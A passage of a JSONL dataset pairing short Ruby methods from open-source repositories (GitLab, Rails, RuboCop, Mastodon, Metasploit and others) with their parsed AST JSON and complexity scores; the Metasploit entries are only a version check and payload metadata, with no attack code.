end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"clone_authorization_ensured\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"authorization_ensured=\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorization_ensured\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only\"]}]},\"dup\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"except\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorization_ensured\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"except\"]}]},\"dup\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"generally_allowed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorization_ensured\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"generally_allowed\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}","id":"eb512cc4-4319-46b8-9ddc-a3e2f73c1acc"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/web_hooks/hook.rb","start_line":211,"raw_source":"def rate_limiter\n @rate_limiter ||= Gitlab::WebHooks::RateLimiter.new(self)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rate_limiter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@rate_limiter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"WebHooks\"]},\"RateLimiter\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]}]}","id":"816ca37c-1b99-4077-88af-6e5d71c47197"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/weblogic_deserialize_badattr_extcomp.rb","start_line":303,"raw_source":"def change_handle?\n @version_no == Rex::Version.new('12.2.1.3.0')\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change_handle?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version_no\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"12.2.1.3.0\"]}]}]}]}","id":"8d24ada0-0ca8-4a6b-8e69-e609cdfdb820"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/safe_request_purger.rb","start_line":29,"raw_source":"def purge_resource_ids\n @resource_data.delete_if { |id| resource_ids.include?(id) }\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_resource_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource_data\"]},\"delete_if\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_ids\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}","id":"32924169-dbae-4ed5-b672-56c10117065a"} {"repo_name":"forem","file_path":"./repos/forem/app/workers/follows/send_email_notification_worker.rb","start_line":6,"raw_source":"def perform(follow_id, mailer = NotifyMailer.name)\n follow = Follow.find_by(id: follow_id, followable_type: \"User\")\n return unless follow&.followable.present? && follow.followable.receives_follower_email_notifications?\n\n return if EmailMessage.where(user_id: follow.followable_id)\n .where(\"sent_at > ?\", rand(15..35).hours.ago)\n .exists?([\"subject LIKE ?\", \"%#{NotifyMailer.new.subjects[:new_follower_email]}\"])\n\n mailer.constantize.with(follow: follow).new_follower_email.deliver_now\n end","complexity_score":31.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"follow_id\"]},{\"type\":\"optarg\",\"children\":[\"mailer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotifyMailer\"]},\"name\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"follow\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Follow\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"follow_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"followable_type\"]},{\"type\":\"str\",\"children\":[\"User\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follow\"]},\"followable\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follow\"]},\"followable\"]},\"receives_follower_email_notifications?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailMessage\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follow\"]},\"followable_id\"]}]}]}]},\"where\",{\"type\":\"str\",\"children\":[\"sent_at > ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[15]},{\"type\":\"int\",\"children\":[35]}]}]},\"hours\"]},\"ago\"]}]},\"exists?\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"subject LIKE ?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotifyMailer\"]},\"new\"]},\"subjects\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new_follower_email\"]}]}]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mailer\"]},\"constantize\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"follow\"]},{\"type\":\"lvar\",\"children\":[\"follow\"]}]}]}]},\"new_follower_email\"]},\"deliver_now\"]}]}]}","id":"058545e7-c37f-44d8-88ae-b3e6b30b761d"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/concerns/virtual_attribute.rb","start_line":35,"raw_source":"def virtual_attribute(attribute, cast_type: :string, &block)\n attribute attribute, cast_type\n define_attribute_method attribute\n\n include InstanceMethods\n\n _define_virtual_attribute_setter(attribute)\n _define_virtual_attribute_getter(attribute, &block)\n _define_virtual_attribute_reload(attribute)\n _define_virtual_attributes_hook(attribute)\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"virtual_attribute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"kwoptarg\",\"children\":[\"cast_type\",{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attribute\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"cast_type\"]}]},{\"type\":\"send\",\"children\":[null,\"define_attribute_method\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[null,\"InstanceMethods\"]}]},{\"type\":\"send\",\"children\":[null,\"_define_virtual_attribute_setter\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"_define_virtual_attribute_getter\",{\"type\":\"lvar\",\"children\":[\"attribute\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"send\",\"children\":[null,\"_define_virtual_attribute_reload\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"send\",\"children\":[null,\"_define_virtual_attributes_hook\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]}","id":"8c94896e-0ed0-4455-8a36-5764859f323c"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/stages/windows/x64/custom.rb","start_line":11,"raw_source":"def initialize(info = {})\n super(\n merge_info(\n info,\n 'Name' => 'Windows shellcode stage',\n 'Description' => 'Custom shellcode stage',\n 'Author' => 'bwatters-r7',\n 'License' => MSF_LICENSE,\n 'Platform' => 'win',\n 'Arch' => ARCH_X64,\n 'Session' => Msf::Sessions::Custom,\n 'PayloadCompat' => {}\n )\n )\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Windows shellcode stage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"str\",\"children\":[\"Custom shellcode stage\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"bwatters-r7\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Session\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Sessions\"]},\"Custom\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PayloadCompat\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}]}","id":"cbb703b0-d84d-41a6-8988-5a47f4027254"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/bundler-checksum/lib/bundler_checksum/command/lint.rb","start_line":70,"raw_source":"def default_gem_without_cache_file?(spec)\n spec.default_gem? && !File.exist?(spec.cache_file)\n end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"default_gem_without_cache_file?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"spec\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"default_gem?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"spec\"]},\"cache_file\"]}]},\"!\"]}]}]}","id":"62c2feb0-0693-45b3-abaa-2ecc085e9e76"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/connection_pool.rb","start_line":150,"raw_source":"def []=(key, value)\n @map.select! { |c, _| c&.alive? }\n @map[key] = value\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"[]=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"select!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]},{\"type\":\"arg\",\"children\":[\"_\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"alive?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"abdee690-f9e4-485e-ac8f-11dc0cd8dfa4"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/helpers.rb","start_line":219,"raw_source":"def find_pipeline!(id)\n pipeline = find_pipeline(id)\n check_pipeline_access(pipeline)\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_pipeline!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipeline\",{\"type\":\"send\",\"children\":[null,\"find_pipeline\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[null,\"check_pipeline_access\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]}]}]}","id":"34d54063-0f5e-4b05-8fef-bc51d9d0c719"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/storage_mixin.rb","start_line":24,"raw_source":"def add_files_sizes(file_method, *args)\n send(file_method, *args).inject(0) { |ts, f| ts + f.size.to_i }\n end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"add_files_sizes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_method\"]},{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"lvar\",\"children\":[\"file_method\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},\"inject\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ts\"]},{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"size\"]},\"to_i\"]}]}]}]}","id":"1f34fd7c-db28-43a0-a44e-48ef0f380480"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/workers/activitypub/processing_worker.rb","start_line":8,"raw_source":"def perform(actor_id, body, delivered_to_account_id = nil, actor_type = 'Account')\n case actor_type\n when 'Account'\n actor = Account.find_by(id: actor_id)\n end\n\n return if actor.nil?\n\n ActivityPub::ProcessCollectionService.new.call(body, actor, override_timestamps: true, delivered_to_account_id: delivered_to_account_id, delivery: true)\n rescue ActiveRecord::RecordInvalid => e\n Rails.logger.debug { \"Error processing incoming ActivityPub object: #{e}\" }\n end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"actor_id\"]},{\"type\":\"arg\",\"children\":[\"body\"]},{\"type\":\"optarg\",\"children\":[\"delivered_to_account_id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"actor_type\",{\"type\":\"str\",\"children\":[\"Account\"]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actor_type\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"Account\"]},{\"type\":\"lvasgn\",\"children\":[\"actor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"actor_id\"]}]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"actor\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"ProcessCollectionService\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"body\"]},{\"type\":\"lvar\",\"children\":[\"actor\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"override_timestamps\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delivered_to_account_id\"]},{\"type\":\"lvar\",\"children\":[\"delivered_to_account_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"delivery\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"debug\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error processing incoming ActivityPub object: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"be81ccd2-e816-4f89-a9e5-43ce14086249"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/calendar/spec/support/pages/calendar.rb","start_line":151,"raw_source":"def click_on_create_button\n page.find_test_selector(\"add-calendar-button\").click\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"click_on_create_button\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find_test_selector\",{\"type\":\"str\",\"children\":[\"add-calendar-button\"]}]},\"click\"]}]}","id":"93a261e0-75e4-4a72-9ed1-35dedbf1fcd6"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/test_env.rb","start_line":398,"raw_source":"def backup_path\n Gitlab.config.backup.path\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"backup_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"backup\"]},\"path\"]}]}","id":"cf7f2cf7-51ea-4b6e-8be1-e5b6d9599b8d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/helpers/cli_inputs.rb","start_line":122,"raw_source":"def input_optional_text(value)\n format_help(\"(enter to #{value ? 'submit' : 'skip'})\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"input_optional_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"format_help\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(enter to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"str\",\"children\":[\"submit\"]},{\"type\":\"str\",\"children\":[\"skip\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}","id":"6a61f06d-3891-4684-babf-c2750b2cd515"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/document_dynamic_eval_definition.rb","start_line":147,"raw_source":"def comment_regexp(arg_node)\n # Replace the interpolations with wildcards\n regexp_parts = arg_node.child_nodes.map do |n|\n n.begin_type? ? /.+/ : source_to_regexp(n.source)\n end\n\n Regexp.new(regexp_parts.join)\n end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"comment_regexp\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"regexp_parts\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg_node\"]},\"child_nodes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"begin_type?\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\".+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"source_to_regexp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"source\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regexp_parts\"]},\"join\"]}]}]}]}","id":"ab0d2e9b-b056-4a45-bf16-c9ae14ab288a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/project_label.rb","start_line":12,"raw_source":"def fabricate!\n project.visit!\n Page::Project::Menu.perform(&:go_to_labels)\n\n super\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fabricate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"visit!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Project\"]},\"Menu\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"go_to_labels\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"2097158a-a1ed-422f-8eb1-b8aaa7e88e75"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/line_length.rb","start_line":182,"raw_source":"def breakable_block_range(block_node)\n if block_node.arguments? && !block_node.lambda?\n block_node.arguments.loc.end\n else\n block_node.braces? ? block_node.loc.begin : block_node.loc.begin.adjust(begin_pos: 1)\n end\n end","complexity_score":18.75,"ast_json":"{\"type\":\"def\",\"children\":[\"breakable_block_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"block_node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_node\"]},\"arguments?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_node\"]},\"lambda?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_node\"]},\"arguments\"]},\"loc\"]},\"end\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_node\"]},\"braces?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_node\"]},\"loc\"]},\"begin\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block_node\"]},\"loc\"]},\"begin\"]},\"adjust\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"begin_pos\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"c6a2b13f-4e77-4cf9-abd7-1dde0c64c9e4"} {"repo_name":"rails","file_path":"./repos/rails/activesupport/test/multibyte_chars_test.rb","start_line":473,"raw_source":"def test_capitalize_should_work_on_ascii_characters\n assert_equal \"\", \"\".mb_chars.capitalize\n assert_equal \"Abc\", \"abc\".mb_chars.capitalize\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_capitalize_should_work_on_ascii_characters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"mb_chars\"]},\"capitalize\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Abc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"abc\"]},\"mb_chars\"]},\"capitalize\"]}]}]}]}","id":"07ebf12d-302c-4a70-8097-c0f60f4a2039"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250918211138_add_sharding_key_trigger_on_system_note_metadata.rb","start_line":50,"raw_source":"def down\n drop_trigger(:system_note_metadata, TRIGGER_NAME)\n\n drop_function(FUNCTION_NAME)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_trigger\",{\"type\":\"sym\",\"children\":[\"system_note_metadata\"]},{\"type\":\"const\",\"children\":[null,\"TRIGGER_NAME\"]}]},{\"type\":\"send\",\"children\":[null,\"drop_function\",{\"type\":\"const\",\"children\":[null,\"FUNCTION_NAME\"]}]}]}]}","id":"1d7b2b1d-5420-4b99-853e-989912fda169"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250922073313_add_fk_to_user_project_member_roles_on_shared_with_group_id.rb","start_line":13,"raw_source":"def down\n with_lock_retries do\n remove_foreign_key :user_project_member_roles, column: :shared_with_group_id\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"user_project_member_roles\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"shared_with_group_id\"]}]}]}]}]}]}","id":"a073305f-6200-43ed-bb3d-1de53e5a6385"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/mime/respond_to_test.rb","start_line":228,"raw_source":"def multiple_variants_for_format\n respond_to do |type|\n type.html do |html|\n html.tablet { render body: \"tablet\" }\n html.phone { render body: \"phone\" }\n end\n end\n end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"multiple_variants_for_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"html\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"tablet\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"str\",\"children\":[\"tablet\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"phone\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"